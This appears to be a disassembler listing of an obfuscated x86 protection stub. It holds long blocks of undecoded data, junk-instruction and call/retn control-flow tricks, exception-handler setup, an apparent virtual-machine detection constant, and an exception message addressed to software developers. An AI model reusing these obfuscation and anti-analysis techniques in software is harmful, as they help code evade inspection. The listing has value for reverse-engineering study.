816607ECh, 50DD16E1h dd 1F5D8D8Bh, 95FF07E9h, 7E900CDh, 19D58D89h, 0C08507E9h dd 23850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 8B56F0C3h, 0E920598Dh, 0C2BD8007h dd 7EC2Bh, 1C850Fh, 958B0000h, 7E90749h, 13E7E9h, 0E9CBB500h dd 0Ah, 938C11E4h, 0B21D4FCFh, 0BD832DB8h, 7E921CDh, 31850F00h dd 66000000h, 0BD83CB8Bh, 7EC306Ch, 40840F00h, 0E8000000h dd 0Fh, 0CFD9CB33h, 6FBC5B35h, 6D80A855h, 0F8CEAECh, 68Ch dd 81B50900h, 5F07E926h, 2086858Dh, 0F78107ECh, 5D1A9519h dd 1387E9h, 15958B00h, 0E907E935h, 0Eh, 8DD78B66h, 0EC207185h dd 0D7816607h, 8D502A99h, 0EC20E985h, 0AD9D2907h, 5007E90Eh dd 0F0D98166h, 0CDBD836Eh, 7E921h, 35840Fh, 958B0000h dd 7E9150Dh, 220F858Dh, 6A07ECh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 594811C3h, 16A136ECh dd 2CE9h, 8D5F5700h, 0EC21F885h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 89F5CE62h dd 0E923018Dh, 0B70F5007h, 47858DFFh, 0BA07EC22h, 16966026h dd 1BD8950h, 0FF07E920h, 0E90AD595h, 0E9B58907h, 8307E92Fh dd 6A10C4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0C08B08C3h, 1B19958Bh, 0BD8307E9h, 7E918A5h dd 83097500h, 0E91A45BDh, 19740007h, 0C08B5350h, 7D3B8h dd 0F9858900h, 8D07E911h, 0EBD7CE9Dh, 5BD3FF07h, 45BD8358h dd 7E91Ah, 53501774h, 7D3B8h, 0F9858900h, 8D07E911h, 0EBD4BD9Dh dd 5BD3FF07h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0D8CE2F7Eh, 1278F2E5h, 0BD8B8BC3h dd 7E92F09h, 2A698D03h, 0BF0F07E9h, 57C08BD6h, 71BD815Ah dd 6F07EC20h, 0F616572h, 9284h, 0E7816600h, 858DB05Ch dd 7EC20E9h, 26858D50h, 5007EC22h, 2247858Dh, 0FF5007ECh dd 0E90AD595h, 0CC48307h, 265985C6h, 684407E9h, 96A3184Fh dd 2669B5FFh, 858D07E9h, 7E93ABCh, 0D88BD0FFh, 2247858Dh dd 0FF5007ECh, 71858DD3h, 5007EC20h, 20E9858Dh, 835007ECh dd 0E921CDBDh, 8740007h, 220F858Dh, 6EB07ECh, 21F8858Dh dd 8D5007ECh, 0EC224785h, 95FF5007h, 7E90AD5h, 8B10C483h dd 0E917D9BDh, 8800F07h, 0F000000h, 280h, 0FF5A5300h, 0E9166595h dd 49B58907h, 2507E91Ch, 0FFh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0DC35343h, 6D734DA5h, 0A8D650ADh dd 0F88391B2h, 3B830F05h, 60000000h, 474FBB66h, 1F71958Bh dd 0C76107E9h, 0E919A585h, 107h, 68F0F00h, 8B000000h, 0E907BD95h dd 0A5858D07h, 0BF07EC20h, 594625AFh, 46E9h, 3840F00h dd 66000000h, 0BD83F98Bh, 7E921CDh, 27840F00h, 0B9000000h dd 469A6FBEh, 20D0858Dh, 8D8B07ECh, 7E92F71h, 1AE9h, 0CE900h dd 58140000h, 5AA2A648h, 3E019C29h, 858D77E1h, 7EC20B2h dd 89DBE980h, 0EC20E585h, 91F78107h, 831EA3C1h, 0E921CDBDh dd 850F0007h, 24h, 92D8D89h, 860F07E9h, 5, 0FA8313BFh dd 6CBD8370h, 7EC30h, 2E840Fh dword_5B89E0 dd 8B0F0000h ; sub_58A67C-E1r ... align 8 jmp loc_5B9A74 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5B89F8 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B89F8 proc near ; CODE XREF: sdfs____:005B89F0p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5B89F8 endp ; --------------------------------------------------------------------------- adc ecx, es:[ecx] popf push ecx sub ebp, ecx pop es jmp loc_5B8EDC ; --------------------------------------------------------------------------- pusha or cl, 3Bh add ebx, [ebp+7E9119Dh] popa mov eax, eax stc cmp dword ptr [ebp+7E918A5h], 0 jnz short loc_5B8A35 cmp dword ptr [ebp+7E91A45h], 0 jz short loc_5B8A4E loc_5B8A35: ; CODE XREF: sdfs____:005B8A2Aj push eax push ebx mov eax, eax mov eax, 7D4h mov [ebp+7E911F9h], eax lea ebx, [ebp+7EBD7CEh] call ebx ; _iob pop ebx pop eax loc_5B8A4E: ; CODE XREF: sdfs____:005B8A33j cmp dword ptr [ebp+7E91A45h], 0 jz short loc_5B8A6E push eax push ebx mov eax, 7D4h mov [ebp+7E911F9h], eax lea ebx, [ebp+7EBD4BDh] call ebx ; _iob pop ebx pop eax loc_5B8A6E: ; CODE XREF: sdfs____:005B8A55j mov [ebp+7E91081h], ebx push 0 push ebx call sub_5B8A7F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8A7F proc near ; CODE XREF: sdfs____:005B8A77p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5B8A7F endp ; --------------------------------------------------------------------------- db 0A4h dd 0B76E016Ch, 0E5BD33EAh, 8B07E90Ah, 3F68C0h, 958B000Fh dd 7E91271h, 14E9006Ah, 0FE000000h, 9C22F12Dh, 61A7ED0h dd 7B3D7AA2h, 0BE845930h, 6AEFD5DDh, 13E96000h, 3F000000h dd 863A02E8h, 0D64CB7F0h, 1A0EA74Ch, 6E6BADF6h, 858958F9h dd 7E9157Dh, 0F195FF61h, 0F07E92Eh, 86h, 0FC08500h, 1285h dd 0DE900h, 0BF4B0000h, 60ACDC0Dh, 4B34C355h, 892FE4FBh dd 0EC206985h, 0DDBD8B07h, 6A07E92Dh, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 68F0F71h, 29000000h, 0E916D5B5h, 81006A07h, 79B9E0D2h dd 80006A18h, 6AC1E1h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 57C35141h, 6AF88B66h, 0D18B6600h, 2247858Dh dd 6A07ECh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0FF42A6C3h, 0B64D66D2h, 800F37D7h, 8, 0BC28152h dd 5A204BF6h, 55006A50h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 683A4436h, 15C5BD8Bh, 16A07E9h, 6800Fh dd 95890000h, 7E92A71h, 1C7A4DB9h, 89016A18h, 0E92E9D85h dd 57016A07h, 20C5B966h, 1FF6859h, 810F000Fh, 0Bh, 58D0Fh dd 0F9BF0000h, 833754EFh, 0E921CDBDh, 840F0007h, 1Bh, 0EA5BD0Bh dd 0FE8B07E9h, 20C6858Dh, 0F98B07ECh, 12E9h, 0F19D8900h dd 8D07E925h, 0EC209C85h, 18D8B07h, 5007E909h, 1839958Bh dd 6A5007E9h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0DD08C356h, 0E9123B4Fh, 0Ch, 8BE18A6Ch dd 0AC95237Eh, 22D68A0Bh, 2069B5FFh, 6A07ECh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0CC9CDEC3h dd 0EC6F7DD7h, 860FFBECh, 2, 95FF48B5h, 7EC2055h, 0BE9h dd 4B762E00h, 0FC7306EDh, 129DEC2Eh, 850FC085h, 2Fh, 1ECDBD89h dd 72E907E9h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 8434C357h, 616B3E2Bh dd 89DF8948h, 0EC206D85h, 890F6007h, 3, 61A4D180h, 206DB5FFh dd 958907ECh, 7E92665h, 2B81BD8Bh, 95FF07E9h, 7E90C5Dh dd 1855958Bh, 9E907E9h, 0D000000h, 816DFF43h, 714218AFh dd 850FC085h, 9, 3860Fh, 8B660000h, 8B106AD6h, 0E9344995h dd 8DB58907h, 8307E92Fh, 0E921CDBDh, 840F0007h, 22h, 0EDCF8166h dd 0C6858D0Fh, 8107EC20h, 8EF774D1h, 4FE94Bh, 810F0000h dd 6, 16C9B589h, 858D07E9h, 7EC209Ch, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0C6C35545h, 383AF40Ah, 11E9F133h dd 60000000h, 12825A15h, 26B67AF5h, 0D65F1802h, 7740A3EDh dd 0C4F18166h, 0BEB150D6h, 2069B5FFh, 15007ECh, 0E912B98Dh dd 0BF0F5907h, 6195FFFBh, 0F07EC20h, 682h, 0FD8D8900h dd 8507E906h, 2F850FC0h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 9984C352h dd 9E979h, 32DB0000h, 5F5C5888h, 0F5B5B4Ah, 8589F8BFh dd 7EC206Dh, 1C47B966h, 2DB9006Ah, 6A7F7036h, 0B5FFFC00h dd 7EC206Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 79C35545h, 26319589h, 95FF07E9h, 7EC2059h, 0EA5BD89h dd 0BD8B07E9h, 7E930F1h, 850FC085h, 2, 0B5FFCB8Ah, 7EC206Dh dd 6810Fh, 9D090000h, 7E92091h, 0C5D95FFh, 6A07E9h, 3E852h dd 5A200000h, 54895AC3h db 24h dword_5B8EA1 dd 24448104h ; DATA XREF: sub_5877B0+550r ... db 4, 1Bh, 0 dd 52420000h, 8684E1C3h, 6C1E77AAh, 0C19D89E3h, 8507E929h dd 19850FC0h, 0E8000000h, 7, 86AF4F71h, 895AF053h, 0E92F7D85h dd 8D8B5F07h, 7E9252Dh ; --------------------------------------------------------------------------- loc_5B8EDC: ; CODE XREF: sdfs____:005B8A10j push 0 mov ecx, [ebp+7E92B71h] mov dh, 5Dh push 80h xor [ebp+7E909E9h], ecx push 3 push ecx jmp loc_5B8F00 ; --------------------------------------------------------------------------- db 23h, 89h, 10h dd 63B0236Bh ; --------------------------------------------------------------------------- loc_5B8F00: ; CODE XREF: sdfs____:005B8EF4j pop edx push 0 mov [ebp+7E929BDh], ebx push 0 call sub_5B8F1B idiv ebx lock xchg eax, edx jp short near ptr dword_5B8EA1+2 sbb dh, [ebx] pop ebx add bh, bl ; =============== S U B R O U T I N E ======================================= sub_5B8F1B proc near ; CODE XREF: sdfs____:005B8F0Bp ; FUNCTION CHUNK AT 005B9459 SIZE 00000069 BYTES ; FUNCTION CHUNK AT 005B94C9 SIZE 00000038 BYTES movzx edx, bx pop ecx push 0C0000000h or [ebp+7E91A85h], edi push dword ptr [ebp+7EC20E5h] mov [ebp+7E91359h], edi call dword ptr [ebp+7E91C0Dh] pusha pusha stc popa mov ebx, [ebp+7E918F9h] popa cmp eax, 0FFFFFFFFh jnz loc_5B9459 add [ebp+7E9218Dh], ecx inc dword ptr [ebp+7EC2B53h] push 0 push ebx call sub_5B8F67 and [ebx-3Dh], bl sub_5B8F1B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B8F67 proc near ; CODE XREF: sub_5B8F1B+44p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5B8F67 endp ; --------------------------------------------------------------------------- db 0F2h dd 30933F8Fh, 9D31BCC1h, 7E919DDh, 658D0360h, 8907E92Fh dd 0E90FC995h, 0BD836107h, 7EC2B53h, 0A9840F02h, 51000003h dd 858D59FCh, 5B243Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 0CBC35242h, 14E93106h, 73000000h, 395D2597h dd 0F22A605Bh, 0AB80F677h, 7E0C58D8h, 0FFB8403Eh, 1DF181D0h dd 8D229C89h, 5B1E8E85h, 0F9850900h, 0FF07E90Ah, 8B4BB5D0h dd 0A18D2BC0h, 8307E91Ch, 0E918A5BDh, 9750007h, 1A45BD83h dd 740007E9h, 8B535019h, 7D8B8C0h, 85890000h, 7E911F9h dd 0D7CE9D8Dh, 0D3FF07EBh, 0BD83585Bh, 7E91A45h, 50177400h dd 7D8B853h, 85890000h, 7E911F9h, 0D4BD9D8Dh, 0D3FF07EBh dd 0D8BA585Bh, 0F534AD72h, 6AC08Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0E57DE5C3h dd 41858945h, 907E90Ch, 0E90FBDB5h, 3F6807h, 840F000Fh dd 6, 95B3E181h, 6A6DA2h, 5D9CB966h, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0E2E81FC3h dd 6DC55923h, 0FFFA8B66h, 0E92EF195h, 8B536007h, 958B59C3h dd 7E90CE5h, 0E9816661h, 0C085F360h, 0D58529h, 858907E9h dd 7EC2069h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 86C35242h, 3155BD8Bh, 0FF6807E9h, 8B000F01h, 0E9092195h dd 5E907h, 0A530000h, 8322E85Fh, 0E921CDBDh, 840F0007h dd 11h, 20C6858Dh, 58E907ECh, 89000000h, 0E91F69BDh, 9C858D07h dd 6A07EC20h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0A720C351h, 65871D82h, 0CF81FD16h dd 617E4D1Dh, 5E960h, 3E870000h, 0E9120E2Fh, 12h, 41575E6Bh dd 815138C8h, 839B0BABh, 4DFA0D45h, 50613B82h, 0B5FFE88Ah dd 7EC2069h, 95FFD08Ah, 7EC2061h, 0ACD18166h, 2595319Bh dd 8907E90Bh, 0EC206D85h, 299D8907h, 0C707E934h, 0E92B4D85h dd 7, 0B5BD8B00h, 8307E922h, 0EC206DBDh, 840F0007h, 173h dd 2AC9958Bh, 858D07E9h, 7EC234Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 2BC35242h, 17398589h, 816607E9h dd 502B63D2h, 4890Fh, 0BA660000h, 16A164Ah, 0C4D952Bh dd 0B5FF07E9h, 7EC206Dh, 23BD8D89h, 95FF07E9h, 7EC2065h dd 7E8h, 7A811E00h, 3706E99Ah, 23BDB589h, 0FF5F07E9h, 0EC206DB5h dd 798D0B07h, 0FF07E919h, 0E90C5D95h, 52006A07h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 6ECCA542h, 0FE96094h, 27000000h, 0DC79FDDFh, 896A0058h dd 0AC3E32A9h, 61F8CCEAh, 0F01FF68h, 80B96600h, 0CDBD83FBh dd 7E921h, 2D840Fh, 0B9600000h, 18F83A37h, 29F5B523h, 816107E9h dd 6B600E7h, 0C6858D1Ah, 0F507EC20h, 6E8h, 0B5F87900h dd 0F80897E0h, 0CE959h, 8DFC0000h, 0EC209C85h, 0ADBB907h dd 0B2507866h, 69B5FFE8h, 6A07EC20h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0C30DC351h dd 69D3AE2Ch, 6195FF73h, 8B07EC20h, 6D8589C8h, 8B07EC20h dd 0E91D918Dh, 6DB5FF07h, 8B07EC20h, 0E9357195h, 5D95FF07h dd 0F07EC20h, 280h, 0FFD38B00h, 0EC206DB5h, 0A98D8B07h dd 0FF07E90Ch, 0E90C5D95h, 1DBD8907h, 0E907E922h, 0FFFFF6DCh dd 49DEB966h, 2BB6B5FFh, 0F68007ECh, 8595FFC6h, 107E922h dd 0E9106D85h, 8E807h, 5BA60000h, 0FC4A36F7h, 95035F57h dd 7E91181h, 59858B59h, 8007E91Ch, 3FE955EAh, 53000005h dd 8D5AC88Bh, 0EC236BB5h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 3B23E42Fh dd 31BD8B86h, 8D07E923h, 0EBD19D85h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 3E0FA26Dh dd 627F69E7h, 6AD0FF51h, 65BD8B00h, 0FF07E923h, 0E9138D95h dd 0D9B58907h, 8B07E92Eh, 0A9BD03F3h, 8D07E91Ch, 0EBD19D85h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0B7BF75A0h, 50C4D285h, 0BF66F2A7h, 95892A2Ch dd 7E91F4Dh, 0DE9D0FFh, 0A3000000h, 4442DD6Dh, 97E74C96h dd 0C8CA3C89h, 5E8006Ah, 0C2000000h, 0E9081207h, 8D95FF59h dd 8907E913h, 0E9137DB5h ; --------------------------------------------------------------------------- pop es ; START OF FUNCTION CHUNK FOR sub_5B8F1B loc_5B9459: ; CODE XREF: sub_5B8F1B+2Fj mov eax, eax mov edx, [ebp+7E909A5h] cmp dword ptr [ebp+7E918A5h], 0 jnz short loc_5B9473 cmp dword ptr [ebp+7E91A45h], 0 jz short loc_5B948C loc_5B9473: ; CODE XREF: sub_5B8F1B+54Dj push eax push ebx mov eax, eax mov eax, 7D9h mov [ebp+7E911F9h], eax lea ebx, [ebp+7EBD7CEh] call ebx ; _iob pop ebx pop eax loc_5B948C: ; CODE XREF: sub_5B8F1B+556j cmp dword ptr [ebp+7E91A45h], 0 jz short loc_5B94AC push eax push ebx mov eax, 7D9h mov [ebp+7E911F9h], eax lea ebx, [ebp+7EBD4BDh] call ebx ; _iob pop ebx pop eax loc_5B94AC: ; CODE XREF: sub_5B8F1B+578j push edi mov di, si pop edi jp loc_5B94BD xor ecx, 6708B3F0h loc_5B94BD: ; CODE XREF: sub_5B8F1B+596j jmp loc_5B94C9 ; END OF FUNCTION CHUNK FOR sub_5B8F1B ; --------------------------------------------------------------------------- dw 0F4BAh dd 267E44EAh db 0DAh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B8F1B loc_5B94C9: ; CODE XREF: sub_5B8F1B:loc_5B94BDj mov eax, eax mov [ebp+7E90ED1h], ecx push eax mov di, 0FF8Fh mov ebx, eax mov cl, bl push ebx lea ebx, [ebp+7E92D59h] mov eax, [ebx] mov [ebx], eax mov eax, [ebx+50h] mov [ebx+50h], eax lea ebx, [ebp+7EC2B4Fh] mov eax, [ebx] mov [ebx], eax pop ebx push 0 push ebx call sub_5B9501 and [ebx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5B8F1B ; =============== S U B R O U T I N E ======================================= sub_5B9501 proc near ; CODE XREF: sub_5B8F1B+5DEp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5B9501 endp ; --------------------------------------------------------------------------- db 22h, 2 dup(61h) dd 12D040E6h, 0BD333C2Bh, 7E91171h, 7998509h, 8D8907E9h dd 7E90BDDh, 8D8B006Ah, 7E91B9Dh, 2B4F858Dh, 6A07ECh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0EF3C1CC3h, 0DC35B902h, 6650459Fh, 6AB931BAh, 9E960h dd 0DE2B0000h, 1F3710A5h, 8DF0A907h, 0E92D5985h, 0CFBF0F07h dd 958D8B50h, 6A07E92Fh, 59BD8B00h, 6607E921h, 6AD08Bh dd 0C366EEBFh, 18006863h, 958B0000h, 7E92AE5h, 34258D29h dd 0B5307E9h, 0E92039BDh, 0E195FF07h, 8907E91Fh, 0E92A0DB5h dd 3995FF07h, 8107E901h, 0D9A81CC7h, 0B6B5FF79h, 0E807EC2Bh dd 0Fh, 859F2E81h, 4B81F10Ah, 29093CF6h, 0FE49E61h, 28Fh dd 5FCB8A00h, 228595FFh, 13E907E9h, 28000000h, 0B408D7F1h dd 0EBFDB109h, 0CA30B62Ch, 62786264h, 858DC984h, 7E92D59h dd 0BB8EC981h, 0C2B65841h, 6018408Bh, 0E0D958Bh, 0FE807E9h dd 8D000000h, 9A90490Ah, 0A885B517h, 0F85C6390h, 860F69BEh dd 0 ; --------------------------------------------------------------------------- pop edi popa mov dword ptr [ebp+7E92525h], 0 push 0 push edi call sub_5B964F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B964F proc near ; CODE XREF: sdfs____:005B9647p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5B964F endp ; --------------------------------------------------------------------------- db 0DFh dd 1524EB35h, 8312C076h, 0E921CDBDh, 840F0007h, 64h, 10E8h dd 7FEE3B00h, 26D11511h, 47671FBh, 1D713063h, 719D8934h dd 5F07E90Fh, 8C3Dh, 4B830F00h, 6A000001h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0B402C356h dd 69950B9Bh, 0E907E91Fh, 25h, 88D0Fh, 89560000h, 0E91C818Dh dd 0D2815F07h, 1594DEF0h, 983Dh, 3830F00h, 89000001h, 0E92E6D8Dh dd 3B858D07h, 0F005B24h, 0D0FFD0BFh, 858DD38Bh, 5B1E8Eh dd 6870Fh, 0BD8B0000h, 7E91FB1h, 0C08BD0FFh, 193D9589h dd 0BD8307E9h, 7E918A5h, 83097500h, 0E91A45BDh, 19740007h dd 0C08B5350h, 0BC6B8h, 0F9858900h, 8D07E911h, 0EBD7CE9Dh dd 5BD3FF07h, 45BD8358h, 7E91Ah, 53501774h, 0BC6B8h, 0F9858900h dd 8D07E911h, 0EBD4BD9Dh, 5BD3FF07h, 89D68B58h, 0E929C595h dd 9C08B07h, 0E90DA985h, 0FFF88307h, 20850Fh, 0E2800000h dd 0C185C7EDh, 7E902h, 0F5000000h, 10EE9h, 0DBD8B00h, 0E907E91Dh dd 47h, 0F883C88Bh, 3C850F01h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 0F6A4C350h dd 18135DC7h, 9E8h, 927A4900h, 0CC05380Ch, 65B23FCEh, 0E8E95Fh dd 80520000h, 0E95FABCEh, 0FFFFF240h, 0E718D89h, 0C08B07E9h dd 5E953h, 0C6EF0000h, 59AD1B3Bh, 18A5BD83h, 750007E9h dd 45BD8309h, 7E91Ah, 53501974h, 0DDB8C08Bh, 89000007h dd 0E911F985h, 0CE9D8D07h, 0FF07EBD7h, 83585BD3h, 0E91A45BDh dd 17740007h, 0DDB85350h, 89000007h, 0E911F985h, 0BD9D8D07h dd 0FF07EBD4h, 89585BD3h, 0E90FEDB5h, 51006A07h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 8B8D4503h, 6D9D29C0h, 0E907E905h, 204h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 6C35545h, 3A71F74Ch dd 0BF0F0F13h, 8D7CB2D3h, 0EC295385h, 8830F07h, 53000000h dd 820Fh, 895F0000h, 0EC2B4B85h, 858D8907h, 0E907E91Ah dd 1Ch, 858D3EB2h, 7EC275Bh, 8166D78Bh, 406051D9h, 2B4B8589h dd 9D8907ECh, 7E92B61h, 858D346Ah, 7E90FF1h, 4BB5FF50h dd 6A07EC2Bh, 0C595FF00h, 8307E918h, 840F07F8h, 168h, 0F6DB8C66h dd 850F04C3h, 102h, 265985C6h, 685607E9h, 9CA8B852h, 2669B5FFh dd 858D07E9h, 7E93ABCh, 46AD0FFh, 100068h, 6A646A00h, 89D0FF00h dd 0EC2BBE85h, 5985C607h, 4707E926h, 18AC9B68h, 69B5FFECh dd 8D07E926h, 0E93ABC85h, 0FFD0FF07h, 0C6F08BD0h, 0E9265985h dd 61684F07h, 0FFC62F26h, 0E9347DB5h, 0BC858D07h, 0FF07E93Ah dd 0BA9D8DD0h, 5307EC2Bh, 0FF56286Ah, 75C085D0h, 5985C600h dd 4107E926h, 87649868h, 7DB5FFDBh, 8D07E934h, 0E93ABC85h dd 89D0FF07h, 0EC2BD785h, 5985C607h, 4C07E926h, 0A4E7A468h dd 7DB5FF80h, 8D07E934h, 0E93ABC85h, 8BD0FF07h, 0EC2BBE9Dh dd 45B8D07h, 0C39D8D53h, 5307EC2Bh, 0D0FF006Ah, 2BBE9D8Bh dd 3C707ECh, 1, 20C43C7h, 8B000000h, 0E921099Dh, 0C185C707h dd 7E912h, 6A000000h, 6A006A00h, 0BE9D8B00h, 5307EC2Bh dd 0B5FF006Ah, 7EC2BBAh, 2BD795FFh, 85C607ECh, 7E92659h dd 0F7976845h, 0B5FF92A5h, 7E916B5h, 3ABC858Dh, 0D0FF07E9h dd 26A006Ah, 8C66D0FFh, 4C3F6DBh, 9D8B3275h, 7EC2BBEh dd 0C43C7h, 6A000000h, 8B006A00h, 0EC2BBE9Dh, 6A5307h dd 2BBAB5FFh, 95FF07ECh, 7EC2BD7h, 2BBAB5FFh, 95FF07ECh dd 7E90139h, 95FF006Ah, 7E9138Dh, 2665BD89h, 8D8907E9h dd 7E91991h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B7EEC loc_5B9A74: ; CODE XREF: sub_5B7EEC+A6j ; sdfs____:loc_5B8159j ... lea eax, [ebp+7EC5E23h] mov [ebp+7E9300Dh], ecx push eax clc push large dword ptr fs:0 or [ebp+7E90A79h], esi mov large fs:0, esp push 0 push esi call sub_5B9AA1 and [esi-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5B7EEC ; =============== S U B R O U T I N E ======================================= sub_5B9AA1 proc near ; CODE XREF: sub_5B7EEC+1BADp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5B9AA1 endp ; --------------------------------------------------------------------------- mov ecx, 0C0C9CB43h movzx edi, dx mov cx, si cmp dword ptr [ebp+7E92EB5h], 0 jz loc_5B9B1F push 0 push ebp call sub_5B9AD4 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9AD4 proc near ; CODE XREF: sdfs____:005B9ACCp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5B9AD4 endp ; --------------------------------------------------------------------------- dd 0AFF823B3h, 83DB4349h, 0E91B69BDh, 850F0107h, 27h, 735B589h dd 0BD8B07E9h, 7E9258Dh, 2FD7BD80h, 0F0007ECh, 0E85h, 0CD94B900h dd 99E90FF6h, 66000001h db 0BAh, 60h, 0DEh ; --------------------------------------------------------------------------- loc_5B9B1F: ; CODE XREF: sdfs____:005B9AC3j xor ebx, ebx mov ecx, [ebp+7E925E9h] xor eax, eax push 0 push ecx call sub_5B9B34 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9B34 proc near ; CODE XREF: sdfs____:005B9B2Cp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5B9B34 endp ; --------------------------------------------------------------------------- dd 0EFE802D6h, 4AB4735Eh, 11E982h, 68C00000h, 3AF970EAh dd 0F5B3A6CBh, 8DF97D91h, 40177E17h, 0B073F0Fh, 58F64h dd 83000000h, 6A04C4h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0CF6B0CC3h, 8927C437h, 0E915D995h dd 0FFFB8307h, 17840Fh, 0CA810000h, 39022C6Ch, 729BD2Bh dd 0F7E907E9h, 8B000000h, 0E90DF1BDh, 82E907h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 0A70902C3h, 244C8B65h, 0A481C70Ch, 0FF000000h, 83FFFFFFh dd 0B881h, 0C0330400h, 245C8BC3h, 0E8550Ch, 5D000000h dd 5E45ED81h, 838B07ECh, 0B8h, 5EFA858Dh, 838907ECh, 0B8h dd 0C3C0335Dh, 2F519589h, 8F0F07E9h, 6, 0F3BBD781h, 0E18167B3h dd 71C5970Bh, 68D0Fh, 8C0F0000h, 0 ; --------------------------------------------------------------------------- lea eax, [ebp+7EC5E3Bh] push 0 push ebp call sub_5B9C51 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9C51 proc near ; CODE XREF: sdfs____:005B9C49p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5B9C51 endp ; --------------------------------------------------------------------------- db 4Fh, 0B4h, 0B6h dd 0DA5B6BA8h, 8050E887h, 0FF64A2D2h, 35h, 0D18D8B00h dd 6407E923h, 2589h, 0AB90000h, 0B8000000h, 4855D704h dd 0F7816405h, 0D465BB0Dh, 40BA8685h, 810034B6h, 345FE8EAh dd 0FB81ED00h, 564D5868h, 85C70A75h, 7E91615h, 1, 58F64h dd 83000000h, 0F78A04C4h, 14E9C08Bh, 69000000h, 0F4435427h dd 0C93F053Dh, 0AD262B8Ch, 0C9ABEF1Bh, 83768860h, 0E918A5BDh dd 9750007h, 1A45BD83h, 740007E9h, 8B535019h, 43DB8C0h dd 85890000h, 7E920F5h, 0D8359D8Dh, 0D3FF07EBh, 0BD83585Bh dd 7E91A45h, 50177400h, 43DB853h, 85890000h, 7E920F5h dd 0D4D69D8Dh, 0D3FF07EBh, 8B66585Bh, 0A1958BD3h, 8B07E919h dd 147E9C0h, 40000h, 2E310000h, 303139h, 7 dup(0) aExceptionInfor db 'Exception Information',0 aPleaseContactT db 'Please, contact the software developers with the following codes.' db ' Thank you.',0Ah db 0Dh,0Ah db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah db 0Dh,0Ah db 0Dh,'Version = 